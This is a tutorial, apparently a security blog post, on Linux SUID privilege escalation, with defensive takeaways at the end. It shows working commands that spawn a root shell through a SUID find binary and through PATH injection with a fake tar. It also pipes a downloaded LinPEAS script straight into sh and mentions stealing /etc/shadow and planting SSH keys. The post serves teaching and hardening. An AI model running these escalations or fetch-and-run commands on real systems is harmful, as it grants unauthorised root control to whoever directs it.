In the 2023 breach of a mid-sized SaaS provider, attackers moved from a low-privilege web shell to full root access in under four minutes — using nothing but a misconfigured SUID binary that shipped with the OS. SUID (Set User ID) misconfigurations are one of the most reliable privilege escalation paths on Linux systems. This guide walks through how to find them, exploit them, and lock them down.
What SUID Actually Does — and Why It’s Dangerous
SUID is a Unix permission bit. When set on an executable, that binary runs with the file owner’s privileges, not the caller’s. So if root owns /usr/bin/passwd and the SUID bit is set, any user who runs it temporarily gains root-level file access — by design, for password changes.
The problem is custom or third-party binaries that get the SUID bit carelessly applied. Once an attacker has shell access as a low-privilege user, finding one misconfigured SUID binary is often game over.
Finding SUID Binaries: Manual and Automated
Start with a single find command. On a target host app01.internal (192.0.2.44), logged in as jdoe after exploiting a web vulnerability:
jdoe@app01:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/usr/local/bin/backup_tool
/usr/bin/find
The -perm -4000 flag matches any file with the SUID bit set. The 2>/dev/null suppresses permission errors so the output stays clean. Everything on that list runs as its owner — mostly root.
Two entries deserve immediate attention: /usr/local/bin/backup_tool (non-standard, custom binary — red flag) and /usr/bin/find (a known GTFOBins candidate). GTFOBins is a curated list of Unix binaries that can be abused for privilege escalation when given elevated permissions.
For automated enumeration, LinPEAS (Linux Privilege Escalation Awesome Script) does this and much more in one pass:
jdoe@app01:~$ curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | grep -A2 "SUID"
[+] SUID - Check easy privesc, exploits and write perms
/usr/local/bin/backup_tool
/usr/bin/find
LinPEAS highlights unusual SUID binaries in red or yellow based on exploit potential. It saves time across large engagements. But understanding what find alone gives you keeps you sharp when you can’t transfer tools to a target.
Exploiting SUID Binaries: Two Real Examples
Example 1: SUID find
find is on GTFOBins because it supports the -exec flag — meaning it can execute arbitrary commands. With the SUID bit set and root as owner, this is a one-liner to root:
jdoe@app01:~$ find . -exec /bin/bash -p \; -quit
bash-5.1# whoami
root
bash-5.1# id
uid=1001(jdoe) gid=1001(jdoe) euid=0(root) groups=1001(jdoe)
The -p flag tells bash to preserve the effective UID instead of dropping it. Notice euid=0 — that’s root-level access. From here an attacker reads /etc/shadow, drops an SSH key into /root/.ssh/authorized_keys, or installs a backdoor. The box is owned.
Example 2: Custom SUID Binary with Path Injection
Custom binaries are often worse than known tools because no one checks them against GTFOBins. Running strings on backup_tool reveals how it behaves internally:
jdoe@app01:~$ strings /usr/local/bin/backup_tool
/lib64/ld-linux-x86-64.so.2
...
Running system backup...
tar czf /backups/backup.tar.gz /var/www/html
It calls tar without an absolute path. That means the binary resolves tar using the $PATH environment variable. Path injection: write a malicious tar, prepend its directory to $PATH, and execute backup_tool.
jdoe@app01:~$ mkdir /tmp/evil
jdoe@app01:~$ echo '#!/bin/bash
/bin/bash -p' > /tmp/evil/tar
jdoe@app01:~$ chmod +x /tmp/evil/tar
jdoe@app01:~$ export PATH=/tmp/evil:$PATH
jdoe@app01:~$ /usr/local/bin/backup_tool
Running system backup...
bash-5.1# whoami
root
The SUID binary inherits the modified $PATH, executes the fake tar, and spawns a root shell. Developers who write SUID binaries must always use absolute paths for system calls. Always.
Defensive Takeaways
- Audit SUID binaries regularly. Any non-standard binary with the SUID bit is a finding.
- Remove SUID bits you don’t need:
chmod u-s /path/to/binary - Use absolute paths in custom binaries — never rely on
$PATHresolution in privileged code. - Apply AppArmor or SELinux profiles to constrain what SUID binaries can actually do.
What To Do Now
Right now, SSH into any Linux system you’re responsible for and run find / -perm -4000 -type f 2>/dev/null. Compare every result against GTFOBins at gtfobins.github.io. If any binary on your system appears there with a SUID exploit listed, remove that bit today with chmod u-s and verify the system still functions. That single check has caught critical misconfigurations on hardened production servers — including ones that passed recent audits.
